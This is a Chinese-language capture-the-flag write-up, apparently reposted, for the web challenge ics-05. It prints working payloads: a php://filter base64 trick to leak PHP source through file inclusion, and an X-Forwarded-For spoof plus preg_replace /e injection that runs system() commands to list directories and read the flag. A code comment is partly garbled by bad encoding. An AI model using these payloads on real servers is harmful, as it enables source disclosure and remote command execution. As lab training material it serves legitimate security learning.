攻防世界十七ics-05

Posted 我是大肥鼠

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界十七ics-05相关的知识,希望对你有一定的参考价值。

步骤

打开题目场景,根据提示点击进入设备维护中心(其他页面也点不开)


发现页面也没什么可以点击的地方,乱点了几下发现云平台设备维护中心是可以点击的,虽然还是同一个页面,但是多了个get参数:

而且参数的内容还会在页面之中显示,尝试看有没有xss,失败:

看来不是这方面的考题,尝试输入index.php,发现返回Ok:

这里还没有看出来是啥,然后又尝试输入index.html,这才恍然大悟这块有文件包含:

既然是文件包含我们就尝试来利用它,尝试使用伪协议php://,它包含两个子协议,功能不同。

首先使用php://input可以进行php代码的提交,发现不可行:

我们换一种方式继续尝试,使用php://filter,它设计用来筛选文件,我们可以使用它来包含index.php的文件,从而获取源码。

直接包含发现会直接运行php文件,那我们怎么获得源码呢,很简单,include函数只会将php文件进行执行,我们只需要将传进去的文件先进行base64编码再传给它,就会输出它的内容了,也就是源码:
payload:page=php://filter/read=convert.base64-encode/resource=index.php

得到源码之后进行base64解码,可以得到明文:

<?php

$page = $_GET[page];//拿到参数

if (isset($page)) {//如果存在



	if (ctype_alnum($page)) { //如果都为字母或者数字
	?>
	
	    <br /><br /><br /><br />
	    <div style="text-align:center">
	        <p class="lead"><?php echo $page; die();?></p>  //输出参数
	        
	    <br /><br /><br /><br />
	
	<?php
	
	}else{
	
	?>
	        <br /><br /><br /><br />
	        <div style="text-align:center">
	            <p class="lead">
	                <?php
	
	                if (strpos($page, 'input') > 0) {//input相当于禁用了
	                    die();
	                }
	
	                if (strpos($page, 'ta:text') > 0) {
	                    die();
	                }
	
	                if (strpos($page, 'text') > 0) {
	                    die();
	                }
	
	                if ($page === 'index.php') {
	                    die('Ok');//为什么返回Ok了
	                }
	                    include($page);//包含参数
	                    die();
	                ?>
	        </p>
	        <br /><br /><br /><br />

<?php
}}


//方便的实现输å
¥è¾“出的功能,正在开发中的功能,只能å†
部人员测试

//以上的代码都不重要,真正利用的在这块
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//如果请求包中HTTP_X_FORWARDED_FOR为127.0.0.1
    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);//将subject中匹配pattern的部分用replacement替换
    }else{
        die();
    }

}





?>

ctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母,如果是返回true,否则返回false。

strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置(大小写敏感)。

string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行。

$pattern: 要搜索的模式,可以是字符串或一个字符串数组、正则。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向
引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

代码审计完毕之后,就可以进行利用了
首先构造http请求包:不要page参数,添加X-forwarded-For字段

接下来利用的是preg_replace函数/e漏洞:查看所有文件
payload:/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc

发现可以进行命令执行,并且发现可疑目录,进入目录并查看文件
payload:/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=asdsadasabc
%26为&,这里进行了url编码,不进行编码会失败

进入flag目录查看文件
payload:/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=asdsadasabc

发现flag.php文件,使用cat进行查看:
payload:/index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=asdsadasabc

成功发现flag

总结

php文件包含中伪协议的使用
preg_replace()函数/e漏洞的利用

以上是关于攻防世界十七ics-05的主要内容,如果未能解决你的问题,请参考以下文章

攻防世界-web:ics-05

攻防世界---ics-05

攻防世界 ics-05

XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)

XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)

攻防世界 mfw